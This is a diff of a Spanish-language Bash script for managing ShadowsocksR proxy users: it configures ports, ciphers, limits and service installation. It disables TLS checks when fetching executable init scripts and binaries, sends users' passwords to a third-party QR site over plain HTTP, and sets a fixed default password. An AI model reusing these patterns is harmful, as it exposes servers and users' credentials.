+ssr_link_qr(){ + SSRprotocol=$(echo ${protocol} | sed 's/_compatible//g') + SSRobfs=$(echo ${obfs} | sed 's/_compatible//g') + SSRPWDbase64=$(urlsafe_base64 "${password}") + SSRbase64=$(urlsafe_base64 "${ip}:${port}:${SSRprotocol}:${method}:${SSRobfs}:${SSRPWDbase64}") + SSRurl="ssr://${SSRbase64}" + SSRQRcode="http://www.codigos-qr.com/qr/php/qr_img.php?d=${SSRurl}" + ssr_link=" SSR Link :\n ${Red_font_prefix}${SSRurl}${Font_color_suffix} \n Codigo QR SSR:\n ${Red_font_prefix}${SSRQRcode}${Font_color_suffix}" +} +ss_ssr_determine(){ + protocol_suffix=`echo ${protocol} | awk -F "_" '{print $NF}'` + obfs_suffix=`echo ${obfs} | awk -F "_" '{print $NF}'` + if [[ ${protocol} = "origin" ]]; then + if [[ ${obfs} = "plain" ]]; then + ss_link_qr + ssr_link="" + else + if [[ ${obfs_suffix} != "compatible" ]]; then + ss_link="" + else + ss_link_qr + fi + fi + else + if [[ ${protocol_suffix} != "compatible" ]]; then + ss_link="" + else + if [[ ${obfs_suffix} != "compatible" ]]; then + if [[ ${obfs_suffix} = "plain" ]]; then + ss_link_qr + else + ss_link="" + fi + else + ss_link_qr + fi + fi + fi + ssr_link_qr +} +# Display configuration information +View_User(){ +clear + SSR_installation_status + List_port_user + while true + do + echo -e "Ingrese el puerto de usuario para ver la informacion\nde la cuenta completa" +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" View_user_port + [[ -z "${View_user_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1 + View_user=$(cat "${config_user_mudb_file}"|grep '"port": '"${View_user_port}"',') + if [[ ! -z ${View_user} ]]; then + Get_User_info "${View_user_port}" + View_User_info + break + else + echo -e "${Error} Por favor ingrese el puerto correcto !" + fi + done +#read -p "Enter para continuar" enter +} +View_User_info(){ + ip=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}') + [[ -z "${ip}" ]] && Get_IP + ss_ssr_determine + clear + echo -e " Usuario [{user_name}] Informacion de Cuenta:" +msg -bar + echo -e " CHUKK-SCRIPT by @drowkid01" + + echo -e " IP : ${Green_font_prefix}${ip}${Font_color_suffix}" + + echo -e " Puerto : ${Green_font_prefix}${port}${Font_color_suffix}" + + echo -e " Contraseña : ${Green_font_prefix}${password}${Font_color_suffix}" + + echo -e " Encriptacion : ${Green_font_prefix}${method}${Font_color_suffix}" + + echo -e " Protocol : ${Red_font_prefix}${protocol}${Font_color_suffix}" + + echo -e " Obfs : ${Red_font_prefix}${obfs}${Font_color_suffix}" + + echo -e " Limite de dispositivos: ${Green_font_prefix}${protocol_param}${Font_color_suffix}" + + echo -e " Velocidad de subproceso Unico: ${Green_font_prefix}${speed_limit_per_con} KB/S${Font_color_suffix}" + + echo -e " Velocidad Maxima del Usuario: ${Green_font_prefix}${speed_limit_per_user} KB/S${Font_color_suffix}" + + echo -e " Puertos Prohibido: ${Green_font_prefix}${forbidden_port} ${Font_color_suffix}" + + echo -e " Consumo de sus Datos:\n Carga: ${Green_font_prefix}${u}${Font_color_suffix} + Descarga: ${Green_font_prefix}${d}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix}" + + echo -e " Trafico Restante: ${Green_font_prefix}${transfer_enable_Used} ${Font_color_suffix}" +msg -bar + echo -e " Trafico Total del Usuario: ${Green_font_prefix}${transfer_enable} ${Font_color_suffix}" +msg -bar + echo -e "${ss_link}" +msg -bar + echo -e "${ssr_link}" +msg -bar + echo -e " ${Green_font_prefix} Nota: ${Font_color_suffix} + En el navegador, abra el enlace del codigo QR, puede\n ver la imagen del codigo QR." +msg -bar +} +#Configuracion de la informacion de configuracion +Set_config_user(){ +msg -bar + echo -ne "\e[92m 1) Ingrese un nombre al usuario que desea Configurar\n (No repetir, o se marcara incorrectamente!)\n" +msg -bar + stty erase '^H' && read -p "(Predeterminado: @drowkid01):" ssr_user + [[ -z "${ssr_user}" ]] && ssr_user="@drowkid01" + echo && echo -e " Nombre de usuario : ${Green_font_prefix}${ssr_user}${Font_color_suffix}" && echo +} +Set_config_port(){ +msg -bar + while true + do + echo -e "\e[92m 2) Por favor ingrese un Puerto para el Usuario " +msg -bar + pxrtx=$(shuf -i 1-9829 -n 1) + stty erase '^H' && echo -ne "(\e[1;33mPREDETERMINADO: \e[92m$pxrtx) " + read -p ": " ssr_port + [[ -z "$ssr_port" ]] && ssr_port=${pxrtx} + expr ${ssr_port} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_port} -ge 1 ]] && [[ ${ssr_port} -le 65535 ]]; then + echo && echo -e " Port : ${Green_font_prefix}${ssr_port}${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-65535)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-65535)" + fi + done +} +Set_config_password(){ +msg -bar + echo -e "\e[92m 3) Por favor ingrese una contraseña para el Usuario" +msg -bar + stty erase '^H' && read -p "(Predeterminado: drowkid01):" ssr_password + [[ -z "${ssr_password}" ]] && ssr_password="drowkid01" + echo && echo -e " contrasena : ${Green_font_prefix}${ssr_password}${Font_color_suffix}" && echo +} +Set_config_method(){ +msg -bar + echo -e "\e[92m 4) Seleccione tipo de Encriptacion para el Usuario\e[0m +$(msg -bar) + ${Green_font_prefix} 1.${Font_color_suffix} Ninguno + ${Green_font_prefix} 2.${Font_color_suffix} rc4 + ${Green_font_prefix} 3.${Font_color_suffix} rc4-md5 + ${Green_font_prefix} 4.${Font_color_suffix} rc4-md5-6 + ${Green_font_prefix} 5.${Font_color_suffix} aes-128-ctr + ${Green_font_prefix} 6.${Font_color_suffix} aes-192-ctr + ${Green_font_prefix} 7.${Font_color_suffix} aes-256-ctr + ${Green_font_prefix} 8.${Font_color_suffix} aes-128-cfb + ${Green_font_prefix} 9.${Font_color_suffix} aes-192-cfb + ${Green_font_prefix}10.${Font_color_suffix} aes-256-cfb + ${Green_font_prefix}11.${Font_color_suffix} aes-128-cfb8 + ${Green_font_prefix}12.${Font_color_suffix} aes-192-cfb8 + ${Green_font_prefix}13.${Font_color_suffix} aes-256-cfb8 + ${Green_font_prefix}14.${Font_color_suffix} salsa20 + ${Green_font_prefix}15.${Font_color_suffix} chacha20 + ${Green_font_prefix}16.${Font_color_suffix} chacha20-ietf + + ${Red_font_prefix}17.${Font_color_suffix} xsalsa20 + ${Red_font_prefix}18.${Font_color_suffix} xchacha20 +$(msg -bar) + ${Tip} Para salsa20/chacha20-*:\n Porfavor instale libsodium:\n Opcion 4 en menu principal SSRR" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 16. chacha20-ietf):" ssr_method +msg -bar + [[ -z "${ssr_method}" ]] && ssr_method="16" + if [[ ${ssr_method} == "1" ]]; then + ssr_method="Ninguno" + elif [[ ${ssr_method} == "2" ]]; then + ssr_method="rc4" + elif [[ ${ssr_method} == "3" ]]; then + ssr_method="rc4-md5" + elif [[ ${ssr_method} == "4" ]]; then + ssr_method="rc4-md5-6" + elif [[ ${ssr_method} == "5" ]]; then + ssr_method="aes-128-ctr" + elif [[ ${ssr_method} == "6" ]]; then + ssr_method="aes-192-ctr" + elif [[ ${ssr_method} == "7" ]]; then + ssr_method="aes-256-ctr" + elif [[ ${ssr_method} == "8" ]]; then + ssr_method="aes-128-cfb" + elif [[ ${ssr_method} == "9" ]]; then + ssr_method="aes-192-cfb" + elif [[ ${ssr_method} == "10" ]]; then + ssr_method="aes-256-cfb" + elif [[ ${ssr_method} == "11" ]]; then + ssr_method="aes-128-cfb8" + elif [[ ${ssr_method} == "12" ]]; then + ssr_method="aes-192-cfb8" + elif [[ ${ssr_method} == "13" ]]; then + ssr_method="aes-256-cfb8" + elif [[ ${ssr_method} == "14" ]]; then + ssr_method="salsa20" + elif [[ ${ssr_method} == "15" ]]; then + ssr_method="chacha20" + elif [[ ${ssr_method} == "16" ]]; then + ssr_method="chacha20-ietf" + elif [[ ${ssr_method} == "17" ]]; then + ssr_method="xsalsa20" + elif [[ ${ssr_method} == "18" ]]; then + ssr_method="xchacha20" + else + ssr_method="aes-256-cfb" + fi + echo && echo -e " Encriptacion: ${Green_font_prefix}${ssr_method}${Font_color_suffix}" && echo +} +Set_config_protocol(){ +msg -bar + echo -e "\e[92m 5) Por favor, seleccione un Protocolo +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} origin + ${Green_font_prefix}2.${Font_color_suffix} auth_sha1_v4 + ${Green_font_prefix}3.${Font_color_suffix} auth_aes128_md5 + ${Green_font_prefix}4.${Font_color_suffix} auth_aes128_sha1 + ${Green_font_prefix}5.${Font_color_suffix} auth_chain_a + ${Green_font_prefix}6.${Font_color_suffix} auth_chain_b + + ${Red_font_prefix}7.${Font_color_suffix} auth_chain_c + ${Red_font_prefix}8.${Font_color_suffix} auth_chain_d + ${Red_font_prefix}9.${Font_color_suffix} auth_chain_e + ${Red_font_prefix}10.${Font_color_suffix} auth_chain_f +$(msg -bar) + ${Tip}\n Si selecciona el protocolo de serie auth_chain_ *:\n Se recomienda establecer el metodo de cifrado en ninguno" +msg -bar + stty erase '^H' && read -p "(Predterminado: 1. origin):" ssr_protocol +msg -bar + [[ -z "${ssr_protocol}" ]] && ssr_protocol="1" + if [[ ${ssr_protocol} == "1" ]]; then + ssr_protocol="origin" + elif [[ ${ssr_protocol} == "2" ]]; then + ssr_protocol="auth_sha1_v4" + elif [[ ${ssr_protocol} == "3" ]]; then + ssr_protocol="auth_aes128_md5" + elif [[ ${ssr_protocol} == "4" ]]; then + ssr_protocol="auth_aes128_sha1" + elif [[ ${ssr_protocol} == "5" ]]; then + ssr_protocol="auth_chain_a" + elif [[ ${ssr_protocol} == "6" ]]; then + ssr_protocol="auth_chain_b" + elif [[ ${ssr_protocol} == "7" ]]; then + ssr_protocol="auth_chain_c" + elif [[ ${ssr_protocol} == "8" ]]; then + ssr_protocol="auth_chain_d" + elif [[ ${ssr_protocol} == "9" ]]; then + ssr_protocol="auth_chain_e" + elif [[ ${ssr_protocol} == "10" ]]; then + ssr_protocol="auth_chain_f" + else + ssr_protocol="origin" + fi + echo && echo -e " Protocolo : ${Green_font_prefix}${ssr_protocol}${Font_color_suffix}" && echo + if [[ ${ssr_protocol} != "origin" ]]; then + if [[ ${ssr_protocol} == "auth_sha1_v4" ]]; then + stty erase '^H' && read -p "Set protocol plug-in to compatible mode(_compatible)?[Y/n]" ssr_protocol_yn + [[ -z "${ssr_protocol_yn}" ]] && ssr_protocol_yn="y" + [[ $ssr_protocol_yn == [Yy] ]] && ssr_protocol=${ssr_protocol}"_compatible" + echo + fi + fi +} +Set_config_obfs(){ +msg -bar + echo -e "\e[92m 6) Por favor, seleccione el metodo OBFS +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} plain + ${Green_font_prefix}2.${Font_color_suffix} http_simple + ${Green_font_prefix}3.${Font_color_suffix} http_post + ${Green_font_prefix}4.${Font_color_suffix} random_head + ${Green_font_prefix}5.${Font_color_suffix} tls1.2_ticket_auth +$(msg -bar) + Si elige tls1.2_ticket_auth, entonces el cliente puede\n elegir tls1.2_ticket_fastauth!" +msg -bar + stty erase '^H' && read -p "(Predeterminado: 5. tls1.2_ticket_auth):" ssr_obfs + [[ -z "${ssr_obfs}" ]] && ssr_obfs="5" + if [[ ${ssr_obfs} == "1" ]]; then + ssr_obfs="plain" + elif [[ ${ssr_obfs} == "2" ]]; then + ssr_obfs="http_simple" + elif [[ ${ssr_obfs} == "3" ]]; then + ssr_obfs="http_post" + elif [[ ${ssr_obfs} == "4" ]]; then + ssr_obfs="random_head" + elif [[ ${ssr_obfs} == "5" ]]; then + ssr_obfs="tls1.2_ticket_auth" + else + ssr_obfs="tls1.2_ticket_auth" + fi + echo && echo -e " obfs : ${Green_font_prefix}${ssr_obfs}${Font_color_suffix}" && echo + msg -bar + if [[ ${ssr_obfs} != "plain" ]]; then + stty erase '^H' && read -p "Configurar modo Compatible (Para usar SS)? [y/n]: " ssr_obfs_yn + [[ -z "${ssr_obfs_yn}" ]] && ssr_obfs_yn="y" + [[ $ssr_obfs_yn == [Yy] ]] && ssr_obfs=${ssr_obfs}"_compatible" + fi +} +Set_config_protocol_param(){ +msg -bar + while true + do + echo -e "\e[92m 7) Limitar Cantidad de Dispositivos Simultaneos\n ${Green_font_prefix} auth_*La serie no es compatible con la version original. ${Font_color_suffix}" +msg -bar + echo -e "${Tip} Limite de numero de dispositivos:\n Es el numero de clientes que usaran la cuenta\n el minimo recomendado 2." +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_protocol_param + [[ -z "$ssr_protocol_param" ]] && ssr_protocol_param="" && echo && break + expr ${ssr_protocol_param} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_protocol_param} -ge 1 ]] && [[ ${ssr_protocol_param} -le 9999 ]]; then + echo && echo -e " Limite del dispositivo: ${Green_font_prefix}${ssr_protocol_param}${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-9999)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-9999)" + fi + done +} +Set_config_speed_limit_per_con(){ +msg -bar + while true + do + echo -e "\e[92m 8) Introduzca un Limite de Velocidad x Hilo (en KB/S)" +msg -bar + stty erase '^H' && read -p "(Predterminado: Ilimitado):" ssr_speed_limit_per_con +msg -bar + [[ -z "$ssr_speed_limit_per_con" ]] && ssr_speed_limit_per_con=0 && echo && break + expr ${ssr_speed_limit_per_con} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_speed_limit_per_con} -ge 1 ]] && [[ ${ssr_speed_limit_per_con} -le 131072 ]]; then + echo && echo -e " Velocidad de Subproceso Unico: ${Green_font_prefix}${ssr_speed_limit_per_con} KB/S${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + done +} +Set_config_speed_limit_per_user(){ +msg -bar + while true + do + echo -e "\e[92m 9) Introduzca un Limite de Velocidad Maxima (en KB/S)" +msg -bar + echo -e "${Tip} Limite de Velocidad Maxima del Puerto :\n Es la velocidad maxima que ira el Usuario." +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_speed_limit_per_user + [[ -z "$ssr_speed_limit_per_user" ]] && ssr_speed_limit_per_user=0 && echo && break + expr ${ssr_speed_limit_per_user} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_speed_limit_per_user} -ge 1 ]] && [[ ${ssr_speed_limit_per_user} -le 131072 ]]; then + echo && echo -e " Velocidad Maxima del Usuario : ${Green_font_prefix}${ssr_speed_limit_per_user} KB/S${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-131072)" + fi + done +} +Set_config_transfer(){ +msg -bar + while true + do + echo -e "\e[92m 10) Ingrese Cantidad Total de Datos para el Usuario\n (en GB, 1-838868 GB)" +msg -bar + stty erase '^H' && read -p "(Predeterminado: Ilimitado):" ssr_transfer + [[ -z "$ssr_transfer" ]] && ssr_transfer="838868" && echo && break + expr ${ssr_transfer} + 0 &>/dev/null + if [[ $? == 0 ]]; then + if [[ ${ssr_transfer} -ge 1 ]] && [[ ${ssr_transfer} -le 838868 ]]; then + echo && echo -e " Trafico Total Para El Usuario: ${Green_font_prefix}${ssr_transfer} GB${Font_color_suffix}" && echo + break + else + echo -e "${Error} Por favor ingrese el numero correcto (1-838868)" + fi + else + echo -e "${Error} Por favor ingrese el numero correcto (1-838868)" + fi + done +} +Set_config_forbid(){ +msg -bar + echo "PROIBIR PUERTOS" +msg -bar + echo -e "${Tip} Puertos prohibidos:\n Por ejemplo, si no permite el acceso al puerto 25, los\n usuarios no podran acceder al puerto de correo 25 a\n traves del proxy de SSR. Si 80,443 esta desactivado,\n los usuarios no podran acceda a los sitios\n http/https normalmente." +msg -bar + stty erase '^H' && read -p "(Predeterminado: permitir todo):" ssr_forbid + [[ -z "${ssr_forbid}" ]] && ssr_forbid="" + echo && echo -e " Puerto prohibido: ${Green_font_prefix}${ssr_forbid}${Font_color_suffix}" && echo +} +Set_config_enable(){ + user_total=$(expr ${user_total} - 1) + for((integer = 0; integer <= ${user_total}; integer++)) + do + echo -e "integer=${integer}" + port_jq=$(${jq_file} ".[${integer}].port" "${config_user_mudb_file}") + echo -e "port_jq=${port_jq}" + if [[ "${ssr_port}" == "${port_jq}" ]]; then + enable=$(${jq_file} ".[${integer}].enable" "${config_user_mudb_file}") + echo -e "enable=${enable}" + [[ "${enable}" == "null" ]] && echo -e "${Error} Obtenga el puerto actual [${ssr_port}] Estado deshabilitado fallido!" && exit 1 + ssr_port_num=$(cat "${config_user_mudb_file}"|grep -n '"puerto": '${ssr_port}','|awk -F ":" '{print $1}') + echo -e "ssr_port_num=${ssr_port_num}" + [[ "${ssr_port_num}" == "null" ]] && echo -e "${Error}Obtener actual Puerto [${ssr_port}] Numero de filas fallidas!" && exit 1 + ssr_enable_num=$(expr ${ssr_port_num} - 5) + echo -e "ssr_enable_num=${ssr_enable_num}" + break + fi + done + if [[ "${enable}" == "1" ]]; then + echo -e "Puerto [${ssr_port}] El estado de la cuenta es: ${Green_font_prefix}Enabled ${Font_color_suffix} , Cambiar a ${Red_font_prefix}Disabled${Font_color_suffix} ?[Y/n]" + stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn + [[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn="y" + if [[ "${ssr_enable_yn}" == [Yy] ]]; then + ssr_enable="0" + else + echo -e "Cancelado...\n$(msg -bar)" && exit 0 + fi + elif [[ "${enable}" == "0" ]]; then + echo -e "Port [${ssr_port}] El estado de la cuenta:${Green_font_prefix}Habilitado ${Font_color_suffix} , Cambie a ${Red_font_prefix}Deshabilitado${Font_color_suffix} ?[Y/n]" + stty erase '^H' && read -p "(Predeterminado: Y):" ssr_enable_yn + [[ -z "${ssr_enable_yn}" ]] && ssr_enable_yn = "y" + if [[ "${ssr_enable_yn}" == [Yy] ]]; then + ssr_enable="1" + else + echo "Cancelar ..." && exit 0 + fi + else + echo -e "${Error} El actual estado de discapacidad de Puerto es anormal.[${enable}] !" && exit 1 + fi +} +Set_user_api_server_pub_addr(){ + addr=$1 + if [[ "${addr}" == "Modify" ]]; then + server_pub_addr=$(cat ${config_user_api_file}|grep "SERVER_PUB_ADDR = "|awk -F "[']" '{print $2}') + if [[ -z ${server_pub_addr} ]]; then + echo -e "${Error} La IP del servidor o el nombre de dominio obtenidos fallaron!" && exit 1 + else + echo -e "${Info} La IP del servidor o el nombre de dominio actualmente configurados es ${Green_font_prefix}${server_pub_addr}${Font_color_suffix}" + fi + fi + echo "Introduzca la IP del servidor o el nombre de dominio que se mostrara en la configuracion del usuario (cuando el servidor tiene varias IP, puede especificar la IP o el nombre de dominio que se muestra en la configuracion del usuario)" +msg -bar + stty erase '^H' && read -p "(Predeterminado:Deteccion automatica de la red externa IP):" ssr_server_pub_addr + if [[ -z "${ssr_server_pub_addr}" ]]; then + Get_IP + if [[ ${ip} == "VPS_IP" ]]; then + while true + do + stty erase '^H' && read -p "${Error} La deteccion automatica de la IP de la red externa fallo, ingrese manualmente la IP del servidor o el nombre de dominio" ssr_server_pub_addr + if [[ -z "$ssr_server_pub_addr" ]]; then + echo -e "${Error}No puede estar vacio!" + else + break + fi + done + else + ssr_server_pub_addr="${ip}" + fi + fi + echo && msg -bar && echo -e " IP o nombre de dominio: ${Green_font_prefix}${ssr_server_pub_addr}${Font_color_suffix}" && msg -bar && echo +} +Set_config_all(){ + lal=$1 + if [[ "${lal}" == "Modify" ]]; then + Set_config_password + Set_config_method + Set_config_protocol + Set_config_obfs + Set_config_protocol_param + Set_config_speed_limit_per_con + Set_config_speed_limit_per_user + Set_config_transfer + Set_config_forbid + else + Set_config_user + Set_config_port + Set_config_password + Set_config_method + Set_config_protocol + Set_config_obfs + Set_config_protocol_param + Set_config_speed_limit_per_con + Set_config_speed_limit_per_user + Set_config_transfer + Set_config_forbid + fi +} +#Modificar la informacin de configuracin +Modify_config_password(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -k "${ssr_password}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion de la contrasena del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} La contrasena del usuario se modifico correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Puede tardar unos 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_method(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -m "${ssr_method}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion del metodo de cifrado del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Modo de cifrado de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Note: Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_protocol(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -O "${ssr_protocol}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion del protocolo de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Acuerdo de usuario modificacion exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion ms reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_obfs(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -o "${ssr_obfs}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion de la confusion del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Confusion del usuario exito de modificacion ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: La aplicacion de la ultima configuracion puede demorar unos 10 segundos)" + fi +} +Modify_config_protocol_param(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -G "${ssr_protocol_param}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion del parametro del protocolo del usuario (numero de dispositivos limite) ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Parametros de negociacin del usuario (numero de dispositivos limite) modificados correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_speed_limit_per_con(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -s "${ssr_speed_limit_per_con}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Fallo la modificacion de la velocidad de un solo hilo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Modificacion de la velocidad de un solo hilo exitosa ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_speed_limit_per_user(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -S "${ssr_speed_limit_per_user}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} Usuario Puerto la modificacin del limite de velocidad total fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Usuario Puerto limite de velocidad total modificado con exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_connect_verbose_info(){ + sed -i 's/"connect_verbose_info": '"$(echo ${connect_verbose_info})"',/"connect_verbose_info": '"$(echo ${ssr_connect_verbose_info})"',/g' ${config_user_file} +} +Modify_config_transfer(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -t "${ssr_transfer}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion de trafico total del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Trafico total del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)" + fi +} +Modify_config_forbid(){ + match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -f "${ssr_forbid}"|grep -w "edit user ") + if [[ -z "${match_edit}" ]]; then + echo -e "${Error} La modificacion del puerto prohibido por el usuario ha fallado ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1 + else + echo -e "${Info} Los puertos prohibidos por el usuario se modificaron correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)" + fi +} +Modify_config_enable(){ + sed -i "${ssr_enable_num}"'s/"enable": '"$(echo ${enable})"',/"enable": '"$(echo ${ssr_enable})"',/' ${config_user_mudb_file} +} +Modify_user_api_server_pub_addr(){ + sed -i "s/SERVER_PUB_ADDR = '${server_pub_addr}'/SERVER_PUB_ADDR = '${ssr_server_pub_addr}'/" ${config_user_api_file} +} +Modify_config_all(){ + Modify_config_password + Modify_config_method + Modify_config_protocol + Modify_config_obfs + Modify_config_protocol_param + Modify_config_speed_limit_per_con + Modify_config_speed_limit_per_user + Modify_config_transfer + Modify_config_forbid +} +Check_python(){ + python_ver=`python -h` + if [[ -z ${python_ver} ]]; then + echo -e "${Info} No instalo Python, comience a instalar ..." + if [[ ${release} == "centos" ]]; then + yum install -y python + else + apt-get install -y python + fi + fi +} +Centos_yum(){ + yum update + cat /etc/redhat-release |grep 7\..*|grep -i centos>/dev/null + if [[ $? = 0 ]]; then + yum install -y vim unzip crond net-tools git + else + yum install -y vim unzip crond git + fi +} +Debian_apt(){ + apt-get update + apt-get install -y vim unzip cron git net-tools +} +#Descargar ShadowsocksR +Download_SSR(){ + cd "/usr/local" + # wget -N --no-check-certificate "https://github.com/ToyoDAdoubi/shadowsocksr/archive/manyuser.zip" + #git config --global http.sslVerify false + git clone -b akkariiin/master https://github.com/shadowsocksrr/shadowsocksr.git + [[ ! -e ${ssr_folder} ]] && echo -e "${Error} Fallo la descarga del servidor ShadowsocksR!" && exit 1 + # [[ ! -e "manyuser.zip" ]] && echo -e "${Error} Fallo la descarga del paquete de compresion lateral ShadowsocksR !" && rm -rf manyuser.zip && exit 1 + # unzip "manyuser.zip" + # [[ ! -e "/usr/local/shadowsocksr-manyuser/" ]] && echo -e "${Error} Fallo la descompresin del servidor ShadowsocksR !" && rm -rf manyuser.zip && exit 1 + # mv "/usr/local/shadowsocksr-manyuser/" "/usr/local/shadowsocksr/" + # [[ ! -e "/usr/local/shadowsocksr/" ]] && echo -e "${Error} Fallo el cambio de nombre del servidor ShadowsocksR!" && rm -rf manyuser.zip && rm -rf "/usr/local/shadowsocksr-manyuser/" && exit 1 + # rm -rf manyuser.zip + cd "shadowsocksr" + cp "${ssr_folder}/config.json" "${config_user_file}" + cp "${ssr_folder}/mysql.json" "${ssr_folder}/usermysql.json" + cp "${ssr_folder}/apiconfig.py" "${config_user_api_file}" + [[ ! -e ${config_user_api_file} ]] && echo -e "${Error} Fallo la replicacion apiconfig.py del servidor ShadowsocksR!" && exit 1 + sed -i "s/API_INTERFACE = 'sspanelv2'/API_INTERFACE = 'mudbjson'/" ${config_user_api_file} + server_pub_addr="127.0.0.1" + Modify_user_api_server_pub_addr + #sed -i "s/SERVER_PUB_ADDR = '127.0.0.1'/SERVER_PUB_ADDR = '${ip}'/" ${config_user_api_file} + sed -i 's/ \/\/ only works under multi-user mode//g' "${config_user_file}" + echo -e "${Info} Descarga del servidor ShadowsocksR completa!" +} +Service_SSR(){ + if [[ ${release} = "centos" ]]; then + if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_centos -O /etc/init.d/ssrmu; then + echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracion de servicios de ShadowsocksR!" && exit 1 + fi + chmod +x /etc/init.d/ssrmu + chkconfig --add ssrmu + chkconfig ssrmu on + else + if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_debian -O /etc/init.d/ssrmu; then + echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracin de servicio de ShadowsocksR!" && exit 1 + fi + chmod +x /etc/init.d/ssrmu + update-rc.d -f ssrmu defaults + fi + echo -e "${Info} ShadowsocksR Service Management Script Descargar Descargar!" +} +#Instalar el analizador JQ +JQ_install(){ + if [[ ! -e ${jq_file} ]]; then + cd "${ssr_folder}" + if [[ ${bit} = "x86_64" ]]; then + # mv "jq-linux64" "jq" + wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64" -O ${jq_file} + else + # mv "jq-linux32" "jq" + wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux32" -O ${jq_file} + fi + [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser, por favor!" && exit 1 + chmod +x ${jq_file} + echo -e "${Info} La instalacion del analizador JQ se ha completado, continuar ..." + else + echo -e "${Info} JQ parser esta instalado, continuar ..." + fi +} +#Instalacion +Installation_dependency(){ + if [[ ${release} == "centos" ]]; then + Centos_yum + else + Debian_apt + fi + 